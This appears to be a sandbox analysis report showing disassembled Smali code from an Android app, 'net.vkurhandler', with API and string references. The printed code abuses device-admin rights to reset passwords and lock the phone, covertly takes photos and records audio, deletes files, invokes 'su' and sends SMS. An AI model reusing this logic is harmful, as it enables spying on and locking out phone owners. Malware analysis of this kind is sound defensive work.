                    16invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    17move-result-object v1
                    19invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    20cond_1b: const/4 v0, 0x1
                    21if-ne p1, v0, :cond_2a
                    23invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    24move-result-object v0
                    26invoke-static {v0}, Lnet/vkurhandler/gn;->l(Landroid/content/Context;)Landroid/net/wifi/WifiManager;
                    27move-result-object v0
                    29invoke-virtual {v0, v3}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
                    30cond_29: return-void
                    31cond_2a: if-nez p1, :cond_29
                    33invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    34move-result-object v0
                    36invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    37move-result-object v0
                    39invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    40move-result-object v0
                    42invoke-virtual {v0, v3}, Lnet/vkurhandler/Mobile;->a(Z)Ljava/lang/Boolean;
                    43goto/16 :goto_29
                    Cross References
                    APIs
                    • net.vkurhandler.AdminUnlockViewService.getSystemService
                    • net.vkurhandler.AdminUnlockViewService.getApplicationContext
                    • android.view.View.inflate
                    • android.view.WindowManager$LayoutParams.<init>
                    • net.vkurhandler.AdminUnlockViewService.b:Landroid/view/View
                    • android.view.View.setVisibility
                    • net.vkurhandler.AdminUnlockViewService.a:Landroid/view/WindowManager
                    • net.vkurhandler.AdminUnlockViewService.b:Landroid/view/View
                    • android.view.WindowManager.addView
                    • net.vkurhandler.AdminUnlockViewService.a:Landroid/view/WindowManager
                    • net.vkurhandler.AdminUnlockViewService.b:Landroid/view/View
                    • android.view.WindowManager.updateViewLayout
                    Strings
                    • window
                    • AdminUnlockViewService
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "window"
                    3invoke-virtual {p0, v0}, Lnet/vkurhandler/AdminUnlockViewService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    4move-result-object v0
                    5check-cast v0, Landroid/view/WindowManager;
                    6iput-object v0, p0, Lnet/vkurhandler/AdminUnlockViewService;->a:Landroid/view/WindowManager;
                    8invoke-virtual {p0}, Lnet/vkurhandler/AdminUnlockViewService;->getApplicationContext()Landroid/content/Context;
                    9move-result-object v0
                    10const v1, 0x7f03001d
                    11const/4 v2, 0x0
                    13invoke-static {v0, v1, v2}, Landroid/view/View;->inflate(Landroid/content/Context;ILandroid/view/ViewGroup;)Landroid/view/View;
                    14move-result-object v0
                    15iput-object v0, p0, Lnet/vkurhandler/AdminUnlockViewService;->b:Landroid/view/View;
                    16new-instance v0, Landroid/view/WindowManager$LayoutParams;
                    17const/4 v1, -0x1
                    18const/4 v2, -0x1
                    19const/4 v3, 0x0
                    20const/4 v4, 0x0
                    21const/16 v5, 0x7da
                    22const v6, 0x680080
                    23const/4 v7, 0x1
                    25invoke-direct/range {v0 .. v7}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIIIII)V
                    27iget-object v1, p0, Lnet/vkurhandler/AdminUnlockViewService;->b:Landroid/view/View;
                    28const/4 v2, 0x0
                    30invoke-virtual {v1, v2}, Landroid/view/View;->setVisibility(I)V
                    32iget-object v1, p0, Lnet/vkurhandler/AdminUnlockViewService;->a:Landroid/view/WindowManager;
                    34iget-object v2, p0, Lnet/vkurhandler/AdminUnlockViewService;->b:Landroid/view/View;
                    36invoke-interface {v1, v2, v0}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                    38iget-object v1, p0, Lnet/vkurhandler/AdminUnlockViewService;->a:Landroid/view/WindowManager;
                    40iget-object v2, p0, Lnet/vkurhandler/AdminUnlockViewService;->b:Landroid/view/View;
                    42invoke-interface {v1, v2, v0}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
                    43goto_3b: return-void
                    44catch_3c: move-exception v0
                    46const-string v1, "AdminUnlockViewService"
                    48invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    49goto/16 :goto_3b
                    Cross References
                    APIs
                    • net.vkurhandler.ParentControlActivity.getApplicationContext
                    • android.content.ComponentName.<init>
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setPasswordQuality
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setPasswordMinimumLength
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.resetPassword
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.lang.String.equalsIgnoreCase
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setMaximumTimeToLock
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.lockNow
                    Strings
                    • htc
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    1new-instance v0, Landroid/content/ComponentName;
                    3invoke-virtual {p0}, Lnet/vkurhandler/ParentControlActivity;->getApplicationContext()Landroid/content/Context;
                    4move-result-object v1
                    5const-class v2, Lnet/vkurhandler/RDeviceAdminReceiver;
                    7invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    9iget-object v1, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    11invoke-virtual {v1, v0, v3}, Landroid/app/admin/DevicePolicyManager;->setPasswordQuality(Landroid/content/ComponentName;I)V
                    13iget-object v1, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    15invoke-virtual {v1, v0, v3}, Landroid/app/admin/DevicePolicyManager;->setPasswordMinimumLength(Landroid/content/ComponentName;I)V
                    17iget-object v1, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    18const/4 v2, 0x1
                    20invoke-virtual {v1, p1, v2}, Landroid/app/admin/DevicePolicyManager;->resetPassword(Ljava/lang/String;I)Z
                    22sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    24const-string v2, "htc"
                    26invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    27move-result v1
                    28if-eqz v1, :cond_2d
                    30iget-object v1, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    31const-wide/16 v2, 0xbb8
                    33invoke-virtual {v1, v0, v2, v3}, Landroid/app/admin/DevicePolicyManager;->setMaximumTimeToLock(Landroid/content/ComponentName;J)V
                    34cond_2d:
                    35iget-object v0, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    37invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                    38return-void
                    Cross References
                    APIs
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • android.content.ComponentName.<init>
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setPasswordQuality
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setPasswordMinimumLength
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.resetPassword
                    • android.os.Build.MODEL:Ljava/lang/String
                    • java.lang.String.equalsIgnoreCase
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.setMaximumTimeToLock
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • android.app.admin.DevicePolicyManager.lockNow
                    Strings
                    • htc
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    1new-instance v0, Landroid/content/ComponentName;
                    3invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    4move-result-object v1
                    5const-class v2, Lnet/vkurhandler/RDeviceAdminReceiver;
                    7invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    9iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    11invoke-virtual {v1, v0, v3}, Landroid/app/admin/DevicePolicyManager;->setPasswordQuality(Landroid/content/ComponentName;I)V
                    13iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    15invoke-virtual {v1, v0, v3}, Landroid/app/admin/DevicePolicyManager;->setPasswordMinimumLength(Landroid/content/ComponentName;I)V
                    17iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    18const/4 v2, 0x1
                    20invoke-virtual {v1, p1, v2}, Landroid/app/admin/DevicePolicyManager;->resetPassword(Ljava/lang/String;I)Z
                    22sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    24const-string v2, "htc"
                    26invoke-virtual {v1, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    27move-result v1
                    28if-eqz v1, :cond_2d
                    30iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    31const-wide/16 v2, 0xbb8
                    33invoke-virtual {v1, v0, v2, v3}, Landroid/app/admin/DevicePolicyManager;->setMaximumTimeToLock(Landroid/content/ComponentName;J)V
                    34cond_2d:
                    35iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    37invoke-virtual {v0}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                    38return-void
                    APIs
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.removeActiveAdmin
                    • net.vkurhandler.SettingsActivity.M:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • android.content.Intent.<init>
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.content.Intent.putExtra
                    • net.vkurhandler.SettingsActivity.startActivityForResult
                    Strings
                    • android.app.action.ADD_DEVICE_ADMIN
                    • android.app.extra.DEVICE_ADMIN
                    Position Instruction Meta Information
                    1iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    3iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    5invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    6move-result v0
                    7if-eqz v0, :cond_1e
                    9iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    11iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    13invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->removeActiveAdmin(Landroid/content/ComponentName;)V
                    15iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->M:Landroid/widget/Button;
                    16const v1, 0x7f0600c4
                    18invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    19move-result-object v1
                    21invoke-virtual {v0, v1}, Landroid/widget/Button;->setText(Ljava/lang/CharSequence;)V
                    22goto_1d: return-void
                    23cond_1e: new-instance v0, Landroid/content/Intent;
                    25const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
                    27invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    29const-string v1, "android.app.extra.DEVICE_ADMIN"
                    31iget-object v2, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    33invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                    34const/16 v1, 0x17
                    36invoke-virtual {p0, v0, v1}, Lnet/vkurhandler/SettingsActivity;->startActivityForResult(Landroid/content/Intent;I)V
                    37goto/16 :goto_1d
                    Cross References
                    APIs
                    • android.content.ComponentName.<init>
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • java.lang.String.equals
                    • java.lang.Thread.<init>
                    • java.lang.Thread.start
                    Strings
                    • admin_mode_disabled
                    • sd
                    • ok
                    Position Instruction Meta Information
                    0new-instance v0, Landroid/content/ComponentName;
                    2iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    3const-class v2, Lnet/vkurhandler/RDeviceAdminReceiver;
                    5invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    7iget-object v1, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    9invoke-static {v1}, Lnet/vkurhandler/gn;->p(Landroid/content/Context;)Landroid/app/admin/DevicePolicyManager;
                    10move-result-object v1
                    12invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    13move-result v0
                    14if-nez v0, :cond_18
                    16const-string v0, "admin_mode_disabled"
                    17goto_17: return-object v0
                    18cond_18:
                    19const-string v0, "sd"
                    21invoke-virtual {p1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    22move-result v0
                    23new-instance v1, Ljava/lang/Thread;
                    24new-instance v2, Lnet/vkurhandler/ak;
                    26iget-object v3, p0, Lnet/vkurhandler/ah;->a:Landroid/content/Context;
                    28invoke-direct {v2, v3, v0}, Lnet/vkurhandler/ak;-><init>(Landroid/content/Context;Z)V
                    30invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                    32invoke-virtual {v1}, Ljava/lang/Thread;->start()V
                    34const-string v0, "ok"
                    35goto/16 :goto_17
                    APIs
                    • android.content.DialogInterface.dismiss
                    • android.content.Intent.<init>
                    • net.vkurhandler.ParentControlActivity.a
                    • android.content.Intent.putExtra
                    • net.vkurhandler.ParentControlActivity.startActivityForResult
                    Strings
                    • android.app.action.ADD_DEVICE_ADMIN
                    • android.app.extra.DEVICE_ADMIN
                    Position Instruction Meta Information
                    1invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
                    2new-instance v0, Landroid/content/Intent;
                    4const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
                    6invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    8const-string v1, "android.app.extra.DEVICE_ADMIN"
                    10iget-object v2, p0, Lnet/vkurhandler/cl;->a:Lnet/vkurhandler/ParentControlActivity;
                    12invoke-static {v2}, Lnet/vkurhandler/ParentControlActivity;->a(Lnet/vkurhandler/ParentControlActivity;)Landroid/content/ComponentName;
                    13move-result-object v2
                    15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                    17iget-object v1, p0, Lnet/vkurhandler/cl;->a:Lnet/vkurhandler/ParentControlActivity;
                    18const/16 v2, 0x17
                    20invoke-virtual {v1, v0, v2}, Lnet/vkurhandler/ParentControlActivity;->startActivityForResult(Landroid/content/Intent;I)V
                    21return-void
                    APIs
                    • android.content.DialogInterface.dismiss
                    • android.content.Intent.<init>
                    • net.vkurhandler.SettingsActivity.t
                    • android.content.Intent.putExtra
                    • net.vkurhandler.SettingsActivity.startActivityForResult
                    Strings
                    • android.app.action.ADD_DEVICE_ADMIN
                    • android.app.extra.DEVICE_ADMIN
                    Position Instruction Meta Information
                    1invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
                    2new-instance v0, Landroid/content/Intent;
                    4const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
                    6invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    8const-string v1, "android.app.extra.DEVICE_ADMIN"
                    10iget-object v2, p0, Lnet/vkurhandler/ff;->a:Lnet/vkurhandler/SettingsActivity;
                    12invoke-static {v2}, Lnet/vkurhandler/SettingsActivity;->t(Lnet/vkurhandler/SettingsActivity;)Landroid/content/ComponentName;
                    13move-result-object v2
                    15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                    17iget-object v1, p0, Lnet/vkurhandler/ff;->a:Lnet/vkurhandler/SettingsActivity;
                    18const/16 v2, 0x17
                    20invoke-virtual {v1, v0, v2}, Lnet/vkurhandler/SettingsActivity;->startActivityForResult(Landroid/content/Intent;I)V
                    21return-void
                    APIs
                    • android.content.DialogInterface.dismiss
                    • android.content.Intent.<init>
                    • net.vkurhandler.SettingsActivity.t
                    • android.content.Intent.putExtra
                    • net.vkurhandler.SettingsActivity.startActivityForResult
                    Strings
                    • android.app.action.ADD_DEVICE_ADMIN
                    • android.app.extra.DEVICE_ADMIN
                    Position Instruction Meta Information
                    1invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V
                    2new-instance v0, Landroid/content/Intent;
                    4const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
                    6invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                    8const-string v1, "android.app.extra.DEVICE_ADMIN"
                    10iget-object v2, p0, Lnet/vkurhandler/fi;->a:Lnet/vkurhandler/SettingsActivity;
                    12invoke-static {v2}, Lnet/vkurhandler/SettingsActivity;->t(Lnet/vkurhandler/SettingsActivity;)Landroid/content/ComponentName;
                    13move-result-object v2
                    15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                    17iget-object v1, p0, Lnet/vkurhandler/fi;->a:Lnet/vkurhandler/SettingsActivity;
                    18const/16 v2, 0x17
                    20invoke-virtual {v1, v0, v2}, Lnet/vkurhandler/SettingsActivity;->startActivityForResult(Landroid/content/Intent;I)V
                    21return-void
                    APIs
                    • net.vkurhandler.as.<init>
                    • net.vkurhandler.as.<init>
                    • net.vkurhandler.as.<init>
                    • net.vkurhandler.as.a:Lnet/vkurhandler/as
                    • net.vkurhandler.as.b:Lnet/vkurhandler/as
                    • net.vkurhandler.as.c:Lnet/vkurhandler/as
                    Strings
                    • ALL
                    • TIME
                    • DATE
                    Position Instruction Meta Information
                    0const/4 v4, 0x2
                    1const/4 v3, 0x1
                    2const/4 v2, 0x0
                    3new-instance v0, Lnet/vkurhandler/as;
                    5const-string v1, "ALL"
                    7invoke-direct {v0, v1, v2}, Lnet/vkurhandler/as;-><init>(Ljava/lang/String;I)V
                    8sput-object v0, Lnet/vkurhandler/as;->a:Lnet/vkurhandler/as;
                    9new-instance v0, Lnet/vkurhandler/as;
                    11const-string v1, "TIME"
                    13invoke-direct {v0, v1, v3}, Lnet/vkurhandler/as;-><init>(Ljava/lang/String;I)V
                    14sput-object v0, Lnet/vkurhandler/as;->b:Lnet/vkurhandler/as;
                    15new-instance v0, Lnet/vkurhandler/as;
                    17const-string v1, "DATE"
                    19invoke-direct {v0, v1, v4}, Lnet/vkurhandler/as;-><init>(Ljava/lang/String;I)V
                    20sput-object v0, Lnet/vkurhandler/as;->c:Lnet/vkurhandler/as;
                    21const/4 v0, 0x3
                    22new-array v0, v0, [Lnet/vkurhandler/as;
                    24sget-object v1, Lnet/vkurhandler/as;->a:Lnet/vkurhandler/as;
                    25aput-object v1, v0, v2
                    27sget-object v1, Lnet/vkurhandler/as;->b:Lnet/vkurhandler/as;
                    28aput-object v1, v0, v3
                    30sget-object v1, Lnet/vkurhandler/as;->c:Lnet/vkurhandler/as;
                    31aput-object v1, v0, v4
                    32sput-object v0, Lnet/vkurhandler/as;->d:[Lnet/vkurhandler/as;
                    33return-void
                    Cross References
                    APIs
                    • android.media.AudioRecord.startRecording
                    • com.nll.nativelibs.callrecording.a.c:Ljava/lang/String
                    • android.util.Log.i
                    • android.os.Looper.getMainLooper
                    • android.os.Handler.<init>
                    • android.os.Handler.postDelayed
                    Strings
                    • Start recording
                    Position Instruction Meta Information
                    1invoke-super {p0}, Landroid/media/AudioRecord;->startRecording()V
                    3sget-object v0, Lcom/nll/nativelibs/callrecording/a;->c:Ljava/lang/String;
                    5const-string v1, "Start recording"
                    7invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                    8iget-boolean v0, p0, Lcom/nll/nativelibs/callrecording/a;->e:Z
                    9if-eqz v0, :cond_21
                    10new-instance v0, Landroid/os/Handler;
                    12invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                    13move-result-object v1
                    15invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
                    16new-instance v1, Lcom/nll/nativelibs/callrecording/b;
                    18invoke-direct {v1, p0}, Lcom/nll/nativelibs/callrecording/b;-><init>(Lcom/nll/nativelibs/callrecording/a;)V
                    19const-wide/16 v2, 0x1f4
                    21invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                    22cond_21: return-void
                    Cross References
                    APIs
                    • java.io.File.<init>
                    • java.io.File.listFiles
                    • java.io.File.isDirectory
                    • java.io.File.toString
                    • java.io.File.delete
                    • java.io.File.delete
                    • java.io.File.delete
                    Position Instruction Meta Information
                    0new-instance v0, Ljava/io/File;
                    2invoke-direct {v0, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    4invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                    5move-result-object v1
                    6if-eqz v1, :cond_2c
                    7array-length v2, v1
                    8if-lez v2, :cond_2c
                    9array-length v2, v1
                    10const/4 v0, 0x0
                    11goto_10: if-lt v0, v2, :cond_13
                    12goto_12: return-void
                    13cond_13: aget-object v3, v1, v0
                    15invoke-virtual {v3}, Ljava/io/File;->isDirectory()Z
                    16move-result v4
                    17if-eqz v4, :cond_28
                    19invoke-virtual {v3}, Ljava/io/File;->toString()Ljava/lang/String;
                    20move-result-object v4
                    22invoke-static {v4}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;)V
                    24invoke-virtual {v3}, Ljava/io/File;->delete()Z
                    25goto_25: add-int/lit8 v0, v0, 0x1
                    26goto/16 :goto_10
                    27cond_28:
                    28invoke-virtual {v3}, Ljava/io/File;->delete()Z
                    29goto/16 :goto_25
                    30cond_2c:
                    31invoke-virtual {v0}, Ljava/io/File;->delete()Z
                    32goto/16 :goto_12
                    Cross References
                    APIs
                    • android.hardware.Camera.open
                    • android.hardware.Camera.setPreviewDisplay
                    • android.hardware.Camera.startPreview
                    • android.hardware.Camera.takePicture
                    Strings
                    • Photographer
                    Position Instruction Meta Information
                    0if-eqz p1, :cond_2b
                    1try_start_2:
                    2invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
                    3move-result-object v0
                    4iput-object v0, p0, Lnet/vkurhandler/cz;->a:Landroid/hardware/Camera;
                    5goto_8:
                    6invoke-direct {p0, p1}, Lnet/vkurhandler/cz;->b(Z)V
                    8iget-object v0, p0, Lnet/vkurhandler/cz;->a:Landroid/hardware/Camera;
                    9const/4 v1, 0x0
                    11invoke-virtual {v0, v1}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
                    13iget-object v0, p0, Lnet/vkurhandler/cz;->a:Landroid/hardware/Camera;
                    15invoke-virtual {v0}, Landroid/hardware/Camera;->startPreview()V
                    16const-wide/16 v0, 0x7d0
                    18invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    20invoke-direct {p0}, Lnet/vkurhandler/cz;->b()V
                    22iget-object v0, p0, Lnet/vkurhandler/cz;->a:Landroid/hardware/Camera;
                    23const/4 v1, 0x0
                    24const/4 v2, 0x0
                    26invoke-virtual {v0, v1, v2, p0}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
                    27const-wide/16 v0, 0x1388
                    29invoke-static {v0, v1}, Lnet/vkurhandler/gn;->a(J)V
                    30goto_2a: return-void
                    31cond_2b:
                    32sget-object v0, Lnet/vkurhandler/ag;->a:Lnet/vkurhandler/ag;
                    34invoke-virtual {v0}, Lnet/vkurhandler/ag;->a()Landroid/hardware/Camera;
                    35move-result-object v0
                    36iput-object v0, p0, Lnet/vkurhandler/cz;->a:Landroid/hardware/Camera;
                    37try_end_33: goto/16 :goto_8
                    38catch_34: move-exception v0
                    40const-string v1, "Photographer"
                    42invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    43goto/16 :goto_2a
                    Cross References
                    APIs
                    • android.content.Context.getSystemService
                    • android.net.ConnectivityManager.getActiveNetworkInfo
                    • android.net.NetworkInfo.isConnected
                    • android.net.NetworkInfo.getType
                    Strings
                    • connectivity
                    Position Instruction Meta Information
                    0const/4 v1, -0x1
                    2const-string v0, "connectivity"
                    4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    5move-result-object v0
                    6check-cast v0, Landroid/net/ConnectivityManager;
                    8invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                    9move-result-object v0
                    10if-nez v0, :cond_10
                    11goto_f: return v1
                    12cond_10:
                    13invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                    14move-result v2
                    15if-eqz v2, :cond_1c
                    17invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                    18move-result v0
                    19goto_1a: move v1, v0
                    20goto/16 :goto_f
                    21cond_1c: move v0, v1
                    22goto/16 :goto_1a
                    APIs
                    • android.hardware.Camera$CameraInfo.<init>
                    • android.hardware.Camera.getNumberOfCameras
                    • android.hardware.Camera.open
                    • android.hardware.Camera.getCameraInfo
                    • android.hardware.Camera.open
                    Position Instruction Meta Information
                    0.annotation build Landroid/annotation/TargetApi;
                    1value = 0x9
                    2.end annotation
                    3new-instance v1, Landroid/hardware/Camera$CameraInfo;
                    5invoke-direct {v1}, Landroid/hardware/Camera$CameraInfo;-><init>()V
                    6const/4 v0, 0x0
                    7goto_6:
                    8invoke-static {}, Landroid/hardware/Camera;->getNumberOfCameras()I
                    9move-result v2
                    10if-lt v0, v2, :cond_11
                    12invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
                    13move-result-object v0
                    14goto_10: return-object v0
                    15cond_11:
                    16invoke-static {v0, v1}, Landroid/hardware/Camera;->getCameraInfo(ILandroid/hardware/Camera$CameraInfo;)V
                    17iget v2, v1, Landroid/hardware/Camera$CameraInfo;->facing:I
                    18const/4 v3, 0x1
                    19if-ne v2, v3, :cond_1e
                    21invoke-static {v0}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
                    22move-result-object v0
                    23goto/16 :goto_10
                    24cond_1e: add-int/lit8 v0, v0, 0x1
                    25goto/16 :goto_6
                    Cross References
                    APIs
                    • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                    • java.lang.String.equals
                    • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                    • java.lang.String.equals
                    Strings
                    • 7.1.1
                    • 7.1.2
                    Position Instruction Meta Information
                    1sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                    3const-string v1, "7.1.1"
                    5invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    6move-result v0
                    7if-nez v0, :cond_16
                    9sget-object v0, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                    11const-string v1, "7.1.2"
                    13invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    14move-result v0
                    15if-nez v0, :cond_16
                    16const/4 v0, 0x0
                    17goto_15: return v0
                    18cond_16: const/4 v0, 0x1
                    19goto/16 :goto_15
                    APIs
                    • java.lang.Runtime.getRuntime
                    • java.lang.Runtime.exec
                    Strings
                    • su
                    • RootShell
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                    2move-result-object v0
                    4const-string v1, "su"
                    6invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                    7goto_9: return-void
                    8catch_a: move-exception v0
                    10const-string v1, "RootShell"
                    12invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    13goto/16 :goto_9
                    Cross References
                    APIs
                    • android.telephony.SmsManager.getDefault
                    • android.telephony.SmsManager.sendTextMessage
                    Strings
                    • Utils->sendSMs
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
